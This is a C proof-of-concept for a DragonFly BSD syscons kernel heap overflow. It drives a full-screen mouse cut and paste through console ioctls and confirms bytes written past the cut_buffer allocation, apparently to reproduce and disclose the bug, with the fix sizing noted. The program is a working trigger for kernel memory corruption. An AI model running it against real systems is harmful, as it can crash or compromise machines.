/*
 * DF-1702 - syscons mouse_cut heap overflow - REAL in-guest PoC
 *
 * sys/dev/misc/syscons/scmouse.c:mouse_cut() writes one '\r' per selected
 * line plus a trailing '\0' into the global cut_buffer without accounting
 * for those bytes in the allocation (sc_alloc_cut_buffer sizes it
 * xsize*ysize+1).
 *
 * Full-screen selection on the 40x25 text mode (mode 23):
 *   S = 40*25 = 1000 cells, cut_buffer = kmalloc(1001)
 *   DragonFly slab zoneindex() rounds 1001 -> 1024-byte chunk
 *   a full-screen all-non-space cut writes:
 *     chars   0 .. 999+r   (r = #rows-1 inserted '\r' resets, grows by 1/row)
 *     '\r'  at [1000+24] = [1024]   <- 1 byte past the 1024-byte chunk
 *     '\0'  at [1000+25] = [1025]   <- 2 bytes past the 1024-byte chunk
 *
 * Userspace-visible proof: mouse_paste() strlen()s the buffer and injects
 * it into the tty.  A paste longer than xsize*ysize (the nominal capacity)
 * proves bytes beyond the requested allocation were written.
 *
 * Build:  cc -O -o df1702 df1702.c
 * Run as a user with rw access to the active console tty (root over ssh
 * opening /dev/ttyv0, or any console-login user on their controlling tty).
 */
#include <sys/ioctl.h>
#include <sys/consio.h>
#include <sys/mouse.h>
#include <fcntl.h>
#include <termios.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>

static int
mi_ioctl(int fd, int operation, int a, int b)
{
    mouse_info_t mi;
    memset(&mi, 0, sizeof(mi));
    mi.operation = operation;
    mi.u.data.x = a;
    mi.u.data.y = b;
    return ioctl(fd, CONS_MOUSECTL, &mi);
}

static int
btn_ioctl(int fd, int id, int value)
{
    mouse_info_t mi;
    memset(&mi, 0, sizeof(mi));
    mi.operation = MOUSE_BUTTON_EVENT;
    mi.u.event.id = id;
    mi.u.event.value = value;
    return ioctl(fd, CONS_MOUSECTL, &mi);
}

static int
readall(int fd, char *buf, int bufsz, int ms)
{
    int total = 0, n;
    fd_set rfds;
    struct timeval tv;

    for (;;) {
	FD_ZERO(&rfds);
	FD_SET(fd, &rfds);
	tv.tv_sec = ms / 1000;
	tv.tv_usec = (ms % 1000) * 1000;
	n = select(fd + 1, &rfds, NULL, NULL, &tv);
	if (n <= 0)
	    return total;
	n = read(fd, buf + total, bufsz - total);
	if (n <= 0)
	    return total;
	total += n;
	if (total >= bufsz)
	    return total;
    }
}

int
main(int argc, char **argv)
{
    const char *dev = (argc > 1) ? argv[1] : "/dev/ttyv0";
    int mode = (argc > 2) ? atoi(argv[2]) : 23;	/* 23 = 40x25 text */
    int fd, i, total, cols, rows, nominal;
    int best_cr = 0;
    struct termios ot, t;
    char buf[2048], out[65536];

    fd = open(dev, O_RDWR | O_NOCTTY);
    if (fd < 0) {
	perror("open");
	exit(1);
    }
    setvbuf(stdout, NULL, _IOLBF, 0);
    tcgetattr(fd, &ot);
    t = ot;
    cfmakeraw(&t);
    tcsetattr(fd, TCSAFLUSH, &t);

    /* derive geometry for the report. argv[5] optionally overrides the
     * assumed cut_buffer allocation size (the FIX sizes it
     * xsize*ysize + ysize + 1; the vulnerable code xsize*ysize + 1). */
    cols = (mode == 23) ? 40 : 80;
    rows = (mode == 23) ? 25 : 25;
    if (argc > 3) cols = atoi(argv[3]);
    if (argc > 4) rows = atoi(argv[4]);
    nominal = (argc > 5) ? atoi(argv[5]) : cols * rows;

    printf("[*] dev=%s mode=%d geometry=%dx%d assumed_alloc=%d bytes "
	   "(vulnerable sizing %d)\n",
	   dev, mode, cols, rows, nominal + 1, cols * rows + 1);

    /* 1. switch to the target text mode (fresh M_ZERO vtb) */
    if (ioctl(fd, CONS_SET, &mode) < 0) {
	perror("CONS_SET");
	exit(1);
    }
    usleep(300000);

    /* 2. fill everything but the last cell with 'A' (last cell keeps the
     *    freshly-allocated NUL char, which IS_SPACE_CHAR() treats as
     *    non-space - and even a space there still crosses the chunk
     *    boundary by one byte with the '\0') */
    memset(buf, 'A', sizeof(buf));
    {
	int done = 0, chunk = cols, n, poll;
	scrshot_t shot;
	u_short sbuf[4096];

	/* wait until the emulator really rendered the fill: poll the
	 * bottom-left cell via CONS_SCRSHOT (vtb mirrors the screen) */
	for (poll = 0; poll < 100; poll++) {
	    shot.xsize = cols; shot.ysize = rows; shot.buf = sbuf;
	    if (ioctl(fd, CONS_SCRSHOT, &shot) == 0 &&
		((sbuf[(rows - 1) * cols] & 0xff) == 'A') &&
		((sbuf[(rows - 1) * cols + cols - 2] & 0xff) == 'A'))
		break;
	    if (done < nominal - 1) {
		if (nominal - 1 - done < chunk)
		    chunk = nominal - 1 - done;
		n = write(fd, buf, chunk);
		if (n > 0)
		    done += n;
	    }
	    usleep(50000);
	}
	printf("[*] filled %d screen cells (vtb verified after %d polls)\n",
	       done, poll);
    }
    usleep(300000);

    /* 3. make the mouse visible */
    mi_ioctl(fd, MOUSE_SHOW, 0, 0);
    usleep(300000);		/* let scrn_update() draw the pointer */

    /* 4. move to the top-left, press button1 (start cut) */
    mi_ioctl(fd, MOUSE_MOVEABS, 0, 0);
    usleep(100000);
    if (btn_ioctl(fd, MOUSE_BUTTON1DOWN, 1) < 0)
	perror("btn press");

    /* 5. drag to the bottom-right pixel: full-screen selection ->
     *    mouse_cut() runs the overflowing loop */
    usleep(100000);
    mi_ioctl(fd, MOUSE_MOVEABS, cols * 8 - 1, rows * 16 - 1);
    usleep(100000);
    {
	mouse_info_t gi;
	memset(&gi, 0, sizeof(gi));
	gi.operation = MOUSE_GETINFO;
	if (ioctl(fd, CONS_MOUSECTL, &gi) == 0)
	    printf("[*] mouse at pixel (%d,%d) after drag\n",
		   gi.u.data.x, gi.u.data.y);
    }

    /* 6. release button1 */
    btn_ioctl(fd, MOUSE_BUTTON1DOWN, 0);
    usleep(100000);

    /* 7. paste the cut buffer into this tty and count the bytes.
     * The tty raw-input queue is only ~1024 bytes, so a concurrent
     * reader drains it while sc_paste() injects; otherwise the count
     * is truncated at the queue high-water mark.  Repeat the
     * cut+paste cycle and keep the maximum observed delivery. */
    {
	int pfd[2], bfd[2], got, attempt;
	int res[2];
	pid_t cpid;

	if (pipe(pfd) < 0 || pipe(bfd) < 0)
	    perror("pipe");
	tcflush(fd, TCIFLUSH);
	cpid = fork();
	if (cpid == 0) {
	    /* child: drain the tty while the paste is injected */
	    int n, t = 0, cr = 0, i, outres[2];
	    char b;
	    close(pfd[0]);
	    close(bfd[1]);
	    for (attempt = 0; attempt < 25; attempt++) {
		t = 0; cr = 0;
		if (read(bfd[0], &b, 1) != 1)	/* wait for go */
		    _exit(9);
		for (;;) {
		    fd_set rfds;
		    struct timeval tv;
		    FD_ZERO(&rfds);
		    FD_SET(fd, &rfds);
		    tv.tv_sec = 0; tv.tv_usec = 400000;
		    if (select(fd + 1, &rfds, NULL, NULL, &tv) <= 0)
			break;		/* idle: done with this paste */
		    n = read(fd, out, sizeof(out));
		    if (n <= 0)
			break;
		    for (i = 0; i < n; i++)
			if (out[i] == '\r')
			    cr++;
		    t += n;
		}
		outres[0] = t; outres[1] = cr;
		if (write(pfd[1], outres, sizeof(outres)) != sizeof(outres))
		    _exit(9);
	    }
	    _exit(0);
	}
	close(pfd[1]);
	close(bfd[0]);
	for (attempt = 0; attempt < 25; attempt++) {
	    char go = 1;
	    usleep(50000);
	    tcflush(fd, TCIFLUSH);
	    /* redo the full-screen cut */
	    mi_ioctl(fd, MOUSE_MOVEABS, 0, 0);
	    usleep(30000);
	    btn_ioctl(fd, MOUSE_BUTTON1DOWN, 1);
	    usleep(30000);
	    mi_ioctl(fd, MOUSE_MOVEABS, cols * 8 - 1, rows * 16 - 1);
	    usleep(30000);
	    btn_ioctl(fd, MOUSE_BUTTON1DOWN, 0);
	    usleep(30000);
	    /* signal the reader, then paste */
	    if (write(bfd[1], &go, 1) != 1)
		break;
	    usleep(2000);	/* child is now blocked in read() */
	    btn_ioctl(fd, MOUSE_BUTTON2DOWN, 1);
	    {
		fd_set rfds;
		struct timeval tv;
		FD_ZERO(&rfds);
		FD_SET(pfd[0], &rfds);
		tv.tv_sec = 2; tv.tv_usec = 0;
		if (select(pfd[0] + 1, &rfds, NULL, NULL, &tv) > 0)
		    got = read(pfd[0], res, sizeof(res));
		else
		    got = -1;
	    }
	    if (got == sizeof(res)) {
		if (res[0] > total) {
		    total = res[0];
		    best_cr = res[1];
		}
		if (res[0] >= cols * rows + rows - 1)
		    break;	/* full delivery observed */
	    }
	}
	kill(cpid, SIGKILL);	/* unblock the barrier reader if any */
	wait(NULL);
	close(pfd[0]);
	close(bfd[1]);
    }
    printf("[*] best paste delivery: %d bytes, %d '\\r' line breaks "
	   "(over up to 25 attempts)\n", total, best_cr);

    printf("[*] pasted %d bytes back from the tty\n", total);
    if (total <= 0) {
	printf("[-] no paste came back (mouse not visible? moused running?)\n");
	goto out;
    }

    if (total > nominal) {
	printf("[+] RESULT: OVERFLOW REPRODUCED - mouse_cut wrote and pasted "
	       "%d bytes into a %d-byte cut_buffer request (%d bytes beyond "
	       "the requested allocation size).\n",
	       total, nominal + 1, total - nominal);
	printf("[+] The %d delivered bytes require cut_buffer[0..%d] to be "
	       "populated and the terminating NUL to be written at index "
	       "%d - provably past the kmalloc'd size.\n",
	       total, total - 1, total);
    } else {
	printf("[-] RESULT: paste within nominal capacity (%d <= %d) - "
	       "no overflow observed\n", total, nominal);
    }

out:
    /* restore 80x25 and the tty */
    mode = 24;
    ioctl(fd, CONS_SET, &mode);
    tcsetattr(fd, TCSAFLUSH, &ot);
    mi_ioctl(fd, MOUSE_HIDE, 0, 0);
    return (total > nominal) ? 0 : 1;
}
